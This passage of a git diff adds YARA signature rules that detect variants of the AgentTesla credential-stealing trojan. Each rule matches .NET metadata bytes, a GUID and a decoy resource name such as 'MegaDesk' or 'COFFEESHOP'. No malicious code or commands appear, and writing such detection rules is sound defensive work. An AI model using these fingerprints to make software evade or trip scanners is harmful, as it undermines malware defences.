+ condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1) >=3 + } \ No newline at end of file diff --git a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RAB_MTB.yar b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RAB_MTB.yar new file mode 100644 index 0000000000..caf1150fe2 --- /dev/null +++ b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RAB_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_AgentTesla_RAB_MTB{ + meta: + description = "Trojan:BAT/AgentTesla.RAB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_81_0 = {57 1f b6 09 09 0b 00 00 00 fa 01 33 00 16 00 00 01 00 00 00 df 00 00 00 25 00 00 00 9d 00 00 00 e5 00 00 00 bc 00 00 00 01 00 00 00 a5 01 00 00 1c 00 00 00 1f 01 00 00 48 00 00 00 01 00 00 00 04 00 00 00 0c 00 00 00 3a 00 00 00 57 00 00 00 17 00 00 00 01 00 00 00 09 00 00 00 06 00 00 00 11 00 00 00 0b } //1 + $a_81_1 = {39 62 61 63 33 30 66 38 2d 61 31 33 31 2d 34 38 33 66 2d 39 39 37 36 2d 38 39 39 36 62 63 66 34 39 38 35 65 } //1 9bac30f8-a131-483f-9976-8996bcf4985e + $a_81_2 = {45 6d 70 6c 6f 79 65 65 5f 4d 61 6e 61 67 65 6d 65 6e 74 5f 53 79 73 74 65 6d 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 } //1 Employee_Management_System.Properties.Resources.resources + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RAC_MTB.yar b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RAC_MTB.yar new file mode 100644 index 0000000000..743102b8da --- /dev/null +++ b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RAC_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_AgentTesla_RAC_MTB{ + meta: + description = "Trojan:BAT/AgentTesla.RAC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_81_0 = {57 1d b6 09 09 0b 00 00 00 fa 01 33 00 16 00 00 01 00 00 00 a6 00 00 00 2d 00 00 00 93 00 00 00 06 02 00 00 7d 01 00 00 31 01 00 00 04 00 00 00 9b 03 00 00 50 00 00 00 08 00 00 00 20 00 00 00 1e 00 00 00 6a 00 00 00 cd 00 00 00 09 00 00 00 01 00 00 00 07 00 00 00 07 00 00 00 20 00 00 00 08 } //1 + $a_81_1 = {4d 65 67 61 44 65 73 6b 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 } //1 MegaDesk.Properties.Resources + $a_81_2 = {34 61 62 33 30 63 32 33 2d 32 30 30 39 2d 34 38 38 35 2d 61 31 65 39 2d 62 33 62 36 64 33 32 36 63 33 66 61 } //1 4ab30c23-2009-4885-a1e9-b3b6d326c3fa + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RAD_MTB.yar b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RAD_MTB.yar new file mode 100644 index 0000000000..52eaaf1872 --- /dev/null +++ b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RAD_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_AgentTesla_RAD_MTB{ + meta: + description = "Trojan:BAT/AgentTesla.RAD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_81_0 = {57 9f b6 29 09 0b 00 00 00 fa 01 33 00 16 00 00 01 00 00 00 db 00 00 00 17 00 00 00 59 00 00 00 c4 00 00 00 a5 00 00 00 01 00 00 00 a4 01 00 00 02 00 00 00 35 01 00 00 01 00 00 00 49 00 00 00 01 00 00 00 04 00 00 00 09 00 00 00 24 00 00 00 3b 00 00 00 0f 00 00 00 01 00 00 00 01 00 00 00 08 00 00 00 04 00 00 00 08 00 00 00 03 } //1 + $a_81_1 = {66 32 65 34 65 66 62 34 2d 31 30 34 62 2d 34 61 34 36 2d 62 65 38 64 2d 31 31 62 65 37 39 32 61 32 65 35 39 } //1 f2e4efb4-104b-4a46-be8d-11be792a2e59 + $a_81_2 = {53 67 6d 5f 53 74 75 64 65 6e 74 5f 49 6e 66 6f 72 6d 61 74 69 6f 6e } //1 Sgm_Student_Information + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RAE_MTB.yar b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RAE_MTB.yar new file mode 100644 index 0000000000..9d104baf5c --- /dev/null +++ b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RAE_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_AgentTesla_RAE_MTB{ + meta: + description = "Trojan:BAT/AgentTesla.RAE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_81_0 = {57 17 a2 09 09 0f 00 00 00 fa 01 33 00 16 00 00 01 00 00 00 8b 00 00 00 16 00 00 00 3b 00 00 00 53 00 00 00 50 00 00 00 05 00 00 00 d5 00 00 00 2a 00 00 00 16 00 00 00 03 00 00 00 08 00 00 00 0c 00 00 00 13 00 00 00 01 00 00 00 0a 00 00 00 03 00 00 00 02 00 00 00 02 00 00 00 07 } //1 + $a_81_1 = {4e 6f 6d 4e 6f 6d 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 } //1 NomNom.Properties.Resources + $a_81_2 = {65 64 66 36 32 30 31 35 2d 66 61 31 66 2d 34 39 33 63 2d 39 35 64 35 2d 62 64 33 33 66 65 62 63 37 61 33 63 } //1 edf62015-fa1f-493c-95d5-bd33febc7a3c + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RAF_MTB.yar b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RAF_MTB.yar new file mode 100644 index 0000000000..8db785fe09 --- /dev/null +++ b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RAF_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_AgentTesla_RAF_MTB{ + meta: + description = "Trojan:BAT/AgentTesla.RAF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_03_0 = {57 dd a2 e9 09 0f 00 00 00 fa 25 33 00 16 00 00 02 00 00 00 a5 00 00 00 1c 00 00 00 af 00 00 00 de 00 00 00 7e 00 00 00 18 01 00 00 09 00 00 00 e1 00 00 00 01 00 00 00 01 00 00 00 36 00 00 00 09 00 00 00 2d 00 00 00 53 00 00 00 0d 00 00 00 01 00 00 00 ?? 00 00 00 ?? 00 00 00 02 00 00 00 07 00 00 00 06 00 00 00 0f 00 00 00 0b 00 00 00 0a } //1 + $a_81_1 = {65 65 39 32 66 32 38 37 2d 64 37 35 33 2d 34 66 36 39 2d 62 32 62 35 2d 65 36 63 31 65 33 39 62 63 39 64 30 } //1 ee92f287-d753-4f69-b2b5-e6c1e39bc9d0 + $a_81_2 = {4d 65 67 61 44 65 73 6b 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 } //1 MegaDesk.Properties.Resources.resources + condition: + ((#a_03_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RAG_MTB.yar b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RAG_MTB.yar new file mode 100644 index 0000000000..e9c71d989f --- /dev/null +++ b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RAG_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_AgentTesla_RAG_MTB{ + meta: + description = "Trojan:BAT/AgentTesla.RAG!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_81_0 = {57 1d a2 09 09 09 00 00 00 fa 01 33 00 16 00 00 01 00 00 00 8a 00 00 00 14 00 00 00 87 01 00 00 d6 00 00 00 ae 00 00 00 f8 00 00 00 06 00 00 00 7b 00 00 00 35 00 00 00 12 00 00 00 24 00 00 00 44 00 00 00 05 00 00 00 01 00 00 00 08 00 00 00 10 00 00 00 01 } //1 + $a_81_1 = {39 46 35 31 33 35 36 31 2d 42 33 31 46 2d 34 44 37 38 2d 39 30 43 46 2d 38 45 34 30 39 39 36 33 33 43 43 46 } //1 9F513561-B31F-4D78-90CF-8E4099633CCF + $a_81_2 = {47 4d 53 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 } //1 GMS.Properties.Resources + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RAH_MTB.yar b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RAH_MTB.yar new file mode 100644 index 0000000000..e59a6357ff --- /dev/null +++ b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RAH_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_AgentTesla_RAH_MTB{ + meta: + description = "Trojan:BAT/AgentTesla.RAH!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_81_0 = {57 1f b6 0b 09 0b 00 00 00 fa 01 33 00 16 00 00 01 00 00 00 ac 00 00 00 2b 00 00 00 9a 00 00 00 ed 00 00 00 aa 00 00 00 02 00 00 00 4e 01 00 00 36 00 00 00 e9 00 00 00 49 00 00 00 02 00 00 00 08 00 00 00 14 00 00 00 34 00 00 00 53 00 00 00 06 00 00 00 0f 00 00 00 01 00 00 00 09 00 00 00 03 00 00 00 11 00 00 00 05 } //1 + $a_81_1 = {30 34 34 63 35 33 64 63 2d 35 36 65 34 2d 34 34 38 63 2d 62 35 38 61 2d 37 62 63 36 66 34 37 38 62 33 64 30 } //1 044c53dc-56e4-448c-b58a-7bc6f478b3d0 + $a_81_2 = {43 61 6c 63 75 6c 61 64 6f 72 61 4d 65 64 69 61 41 6c 75 6e 6f 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 } //1 CalculadoraMediaAluno.Properties.Resources + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RAI_MTB.yar b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RAI_MTB.yar new file mode 100644 index 0000000000..a11a82084f --- /dev/null +++ b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RAI_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_AgentTesla_RAI_MTB{ + meta: + description = "Trojan:BAT/AgentTesla.RAI!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_81_0 = {57 dd a2 29 09 0b 00 00 00 fa 25 33 00 16 00 00 01 00 00 00 85 00 00 00 1b 00 00 00 b1 00 00 00 a8 01 00 00 0e 01 00 00 c6 00 00 00 1f 00 00 00 4c 00 00 00 01 00 00 00 01 00 00 00 28 00 00 00 06 00 00 00 16 00 00 00 27 00 00 00 04 00 00 00 04 00 00 00 01 00 00 00 06 00 00 00 02 00 00 00 0a 00 00 00 01 } //1 + $a_81_1 = {33 33 31 34 35 39 41 32 2d 39 33 41 44 2d 34 30 38 39 2d 41 33 39 42 2d 38 34 44 41 32 30 44 44 37 46 41 45 } //1 331459A2-93AD-4089-A39B-84DA20DD7FAE + $a_81_2 = {52 6f 79 4e 45 53 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 } //1 RoyNES.Properties.Resources + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RAJ_MTB.yar b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RAJ_MTB.yar new file mode 100644 index 0000000000..b9faedf9fa --- /dev/null +++ b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RAJ_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_AgentTesla_RAJ_MTB{ + meta: + description = "Trojan:BAT/AgentTesla.RAJ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_81_0 = {57 1f b6 09 09 0b 00 00 00 fa 01 33 00 16 00 00 01 00 00 00 c2 00 00 00 13 00 00 00 44 00 00 00 92 00 00 00 80 00 00 00 02 00 00 00 60 01 00 00 02 00 00 00 f8 00 00 00 3b 00 00 00 01 00 00 00 04 00 00 00 08 00 00 00 1f 00 00 00 34 00 00 00 09 00 00 00 01 00 00 00 08 00 00 00 04 00 00 00 09 00 00 00 03 } //1 + $a_81_1 = {64 35 39 61 36 38 65 37 2d 39 64 63 34 2d 34 38 34 64 2d 38 38 37 62 2d 66 36 39 39 62 32 63 34 62 65 38 61 } //1 d59a68e7-9dc4-484d-887b-f699b2c4be8a + $a_81_2 = {53 74 75 64 65 6e 74 5f 4d 61 6e 61 67 65 6d 65 6e 74 5f 53 79 73 74 65 6d 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 } //1 Student_Management_System.Properties.Resources + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RAK_MTB.yar b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RAK_MTB.yar new file mode 100644 index 0000000000..088a8150cf --- /dev/null +++ b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RAK_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_AgentTesla_RAK_MTB{ + meta: + description = "Trojan:BAT/AgentTesla.RAK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_81_0 = {57 1f a2 09 09 0b 00 00 00 fa 01 33 00 16 00 00 01 00 00 00 9b 00 00 00 1d 00 00 00 43 00 00 00 8d 00 00 00 64 00 00 00 01 00 00 00 21 01 00 00 01 00 00 00 7d 00 00 00 28 00 00 00 0f 00 00 00 1f 00 00 00 2f 00 00 00 14 00 00 00 01 00 00 00 08 00 00 00 03 00 00 00 09 00 00 00 06 } //1 + $a_81_1 = {62 62 34 38 39 65 65 35 2d 34 39 37 33 2d 34 38 37 38 2d 39 30 62 35 2d 64 39 30 62 31 31 32 39 63 32 31 62 } //1 bb489ee5-4973-4878-90b5-d90b1129c21b + $a_81_2 = {70 72 6f 6a 65 63 74 32 5f 73 74 6f 63 6b 44 69 73 70 6c 61 79 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 } //1 project2_stockDisplay.Properties.Resources + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RAL_MTB.yar b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RAL_MTB.yar new file mode 100644 index 0000000000..e8f20a2ddb --- /dev/null +++ b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RAL_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_AgentTesla_RAL_MTB{ + meta: + description = "Trojan:BAT/AgentTesla.RAL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_81_0 = {57 1d a2 0b 09 0b 00 00 00 fa 01 33 00 16 00 00 01 00 00 00 9b 00 00 00 3b 00 00 00 09 03 00 00 3c 01 00 00 83 01 00 00 2b 01 00 00 e5 00 00 00 1b 00 00 00 50 00 00 00 02 00 00 00 05 00 00 00 06 00 00 00 01 00 00 00 04 00 00 00 01 00 00 00 06 00 00 00 18 00 00 00 01 00 00 00 01 } //1 + $a_81_1 = {31 37 38 32 66 61 39 64 2d 61 62 34 37 2d 34 36 36 32 2d 62 61 61 63 2d 32 61 65 34 39 31 39 34 61 64 64 34 } //1 1782fa9d-ab47-4662-baac-2ae49194add4 + $a_81_2 = {44 65 6c 69 76 65 72 79 4d 61 72 6b 65 74 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 } //1 DeliveryMarket.Properties.Resources + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RAM_MTB.yar b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RAM_MTB.yar index af9a0f62eb..6931ac85aa 100644 --- a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RAM_MTB.yar +++ b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RAM_MTB.yar @@ -12,4 +12,16 @@ rule Trojan_BAT_AgentTesla_RAM_MTB{ condition: ((#a_03_0 & 1)*10+(#a_01_1 & 1)*10+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=23 +} +rule Trojan_BAT_AgentTesla_RAM_MTB_2{ + meta: + description = "Trojan:BAT/AgentTesla.RAM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_81_0 = {57 95 b6 29 09 0f 00 00 00 fa 01 33 00 16 00 00 01 00 00 00 d7 00 00 00 2f 00 00 00 ad 01 00 00 67 03 00 00 5b 02 00 00 f8 01 00 00 99 04 00 00 02 00 00 00 5a 00 00 00 04 00 00 00 10 00 00 00 17 00 00 00 eb 00 00 00 6a 01 00 00 32 00 00 00 02 00 00 00 01 00 00 00 09 00 00 00 0e 00 00 00 16 00 00 00 11 00 00 00 19 } //1 + $a_81_1 = {45 33 32 43 43 42 46 33 2d 43 46 39 34 2d 34 30 41 31 2d 38 32 35 30 2d 39 32 38 42 39 43 32 44 30 44 34 42 } //1 E32CCBF3-CF94-40A1-8250-928B9C2D0D4B + $a_81_2 = {53 65 73 73 69 6f 6e 5f 49 6e 69 74 69 61 6c 69 7a 61 74 69 6f 6e 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 } //1 Session_Initialization.Properties.Resources + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1) >=3 + } \ No newline at end of file diff --git a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RAN_MTB.yar b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RAN_MTB.yar new file mode 100644 index 0000000000..e48093269a --- /dev/null +++ b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RAN_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_AgentTesla_RAN_MTB{ + meta: + description = "Trojan:BAT/AgentTesla.RAN!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_81_0 = {57 95 b6 29 09 0f 00 00 00 fa 01 33 00 16 00 00 01 00 00 00 b4 00 00 00 42 00 00 00 b2 00 00 00 43 02 00 00 71 01 00 00 7e 01 00 00 b0 02 00 00 02 00 00 00 51 00 00 00 01 00 00 00 04 00 00 00 1a 00 00 00 97 00 00 00 07 01 00 00 2e 00 00 00 02 00 00 00 01 00 00 00 08 00 00 00 02 00 00 00 0a 00 00 00 11 00 00 00 16 } //1 + $a_81_1 = {39 64 33 37 65 66 38 35 2d 30 65 65 33 2d 34 33 37 63 2d 62 37 30 39 2d 66 32 66 35 33 36 30 63 32 33 62 35 } //1 9d37ef85-0ee3-437c-b709-f2f5360c23b5 + $a_81_2 = {53 6f 6c 5f 4d 69 6e 69 6d 61 72 6b 65 74 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 } //1 Sol_Minimarket.Properties.Resources + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RAO_MTB.yar b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RAO_MTB.yar new file mode 100644 index 0000000000..463f445a8b --- /dev/null +++ b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RAO_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_AgentTesla_RAO_MTB{ + meta: + description = "Trojan:BAT/AgentTesla.RAO!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_81_0 = {57 55 a2 09 09 01 00 00 00 fa 25 33 00 16 00 00 01 00 00 00 6b 00 00 00 08 00 00 00 35 00 00 00 d5 00 00 00 46 00 00 00 d5 00 00 00 2f 00 00 00 01 00 00 00 14 00 00 00 05 00 00 00 0d 00 00 00 17 00 00 00 06 00 00 00 01 00 00 00 05 00 00 00 02 } //1 + $a_81_1 = {43 32 38 35 42 39 34 37 2d 41 36 33 44 2d 34 46 43 38 2d 42 43 31 37 2d 45 39 41 34 46 31 44 37 38 32 43 30 } //1 C285B947-A63D-4FC8-BC17-E9A4F1D782C0 + $a_81_2 = {41 6c 61 72 6d 65 72 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 } //1 Alarmer.Properties.Resources + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RAP_MTB.yar b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RAP_MTB.yar new file mode 100644 index 0000000000..72c4819c2e --- /dev/null +++ b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RAP_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_AgentTesla_RAP_MTB{ + meta: + description = "Trojan:BAT/AgentTesla.RAP!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_81_0 = {57 15 a2 09 09 0f 00 00 00 fa 01 33 00 16 00 00 01 00 00 00 8d 00 00 00 11 00 00 00 65 00 00 00 5c 00 00 00 4f 00 00 00 22 01 00 00 2a 00 00 00 1f 00 00 00 04 00 00 00 0a 00 00 00 0b 00 00 00 17 00 00 00 01 00 00 00 07 00 00 00 02 00 00 00 02 00 00 00 06 00 00 00 12 } //1 + $a_81_1 = {36 35 63 31 64 31 38 34 2d 35 38 34 34 2d 34 64 37 37 2d 61 33 66 66 2d 65 36 38 61 34 33 36 39 64 62 62 36 } //1 65c1d184-5844-4d77-a3ff-e68a4369dbb6 + $a_81_2 = {43 4f 46 46 45 45 53 48 4f 50 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 } //1 COFFEESHOP.Properties.Resources + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RAQ_MTB.yar b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RAQ_MTB.yar new file mode 100644 index 0000000000..493ced0d81 --- /dev/null +++ b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RAQ_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_AgentTesla_RAQ_MTB{ + meta: + description = "Trojan:BAT/AgentTesla.RAQ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_81_0 = {57 15 a2 09 09 01 00 00 00 fa 01 33 00 16 00 00 01 00 00 00 a2 00 00 00 20 00 00 00 65 01 00 00 25 01 00 00 84 01 00 00 2f 01 00 00 25 00 00 00 50 00 00 00 05 00 00 00 0a 00 00 00 0f 00 00 00 05 00 00 00 01 00 00 00 07 00 00 00 11 } //1 + $a_81_1 = {38 34 66 66 37 39 64 36 2d 62 39 31 30 2d 34 30 32 39 2d 62 61 32 33 2d 65 62 65 34 65 61 65 39 39 66 30 38 } //1 84ff79d6-b910-4029-ba23-ebe4eae99f08 + $a_81_2 = {46 69 6e 61 6c 44 42 4d 53 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 } //1 FinalDBMS.Properties.Resources + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RAR_MTB.yar b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RAR_MTB.yar new file mode 100644 index 0000000000..b98a03ef91 --- /dev/null +++ b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RAR_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_AgentTesla_RAR_MTB{ + meta: + description = "Trojan:BAT/AgentTesla.RAR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_81_0 = {57 17 b6 1d 09 0f 00 00 00 fa 01 33 00 16 00 00 01 00 00 00 ab 00 00 00 9a 00 00 00 c1 01 00 00 68 03 00 00 37 02 00 00 1e 00 00 00 63 02 00 00 6b 02 00 00 d1 00 00 00 0f 00 00 00 1e 00 00 00 2f 00 00 00 d9 00 00 00 7e 01 00 00 01 00 00 00 82 00 00 00 04 00 00 00 01 00 00 00 08 00 00 00 05 00 00 00 58 00 00 00 5d 00 00 00 c4 } //1 + $a_81_1 = {31 36 39 34 61 64 36 36 2d 31 31 32 39 2d 34 39 61 33 2d 61 64 34 34 2d 38 65 63 33 31 64 39 66 34 39 37 34 } //1 1694ad66-1129-49a3-ad44-8ec31d9f4974 + $a_81_2 = {53 79 73 74 65 6d 5f 49 6e 73 70 65 63 74 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 } //1 System_Inspect.Properties.Resources + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RAS_MTB.yar b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RAS_MTB.yar new file mode 100644 index 0000000000..d7ea19b580 --- /dev/null +++ b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RAS_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_AgentTesla_RAS_MTB{ + meta: + description = "Trojan:BAT/AgentTesla.RAS!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_81_0 = {57 1f a2 09 09 1d 00 00 00 fa 01 33 00 16 00 00 01 00 00 00 8c 00 00 00 25 00 00 00 56 00 00 00 c8 00 00 00 d1 00 00 00 04 00 00 00 0a 01 00 00 01 00 00 00 33 00 00 00 28 00 00 00 06 00 00 00 15 00 00 00 1e 00 00 00 17 00 00 00 01 00 00 00 0a 00 00 00 02 00 00 00 0a 00 00 00 04 } //1 + $a_81_1 = {61 37 39 30 62 38 31 36 2d 34 39 32 35 2d 34 65 35 31 2d 38 31 36 61 2d 38 65 37 39 63 61 32 64 37 65 39 64 } //1 a790b816-4925-4e51-816a-8e79ca2d7e9d + $a_81_2 = {4e 69 6e 61 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 } //1 Nina.Properties.Resources + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RAU_MTB.yar b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RAU_MTB.yar new file mode 100644 index 0000000000..f7541758b1 --- /dev/null +++ b/Trojan/BAT/AgentTesla/Trojan_BAT_AgentTesla_RAU_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_AgentTesla_RAU_MTB{ + meta: + description = "Trojan:BAT/AgentTesla.RAU!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_81_0 = {57 95 b6 29 09 0b 00 00 00 fa 01 33 00 16 00 00 01 00 00 00 ba 00 00 00 15 00 00 00 89 00 00 00 a6 00 00 00 9b 00 00 00 4e 01 00 00 af 00 00 00 02 00 00 00 2a 00 00 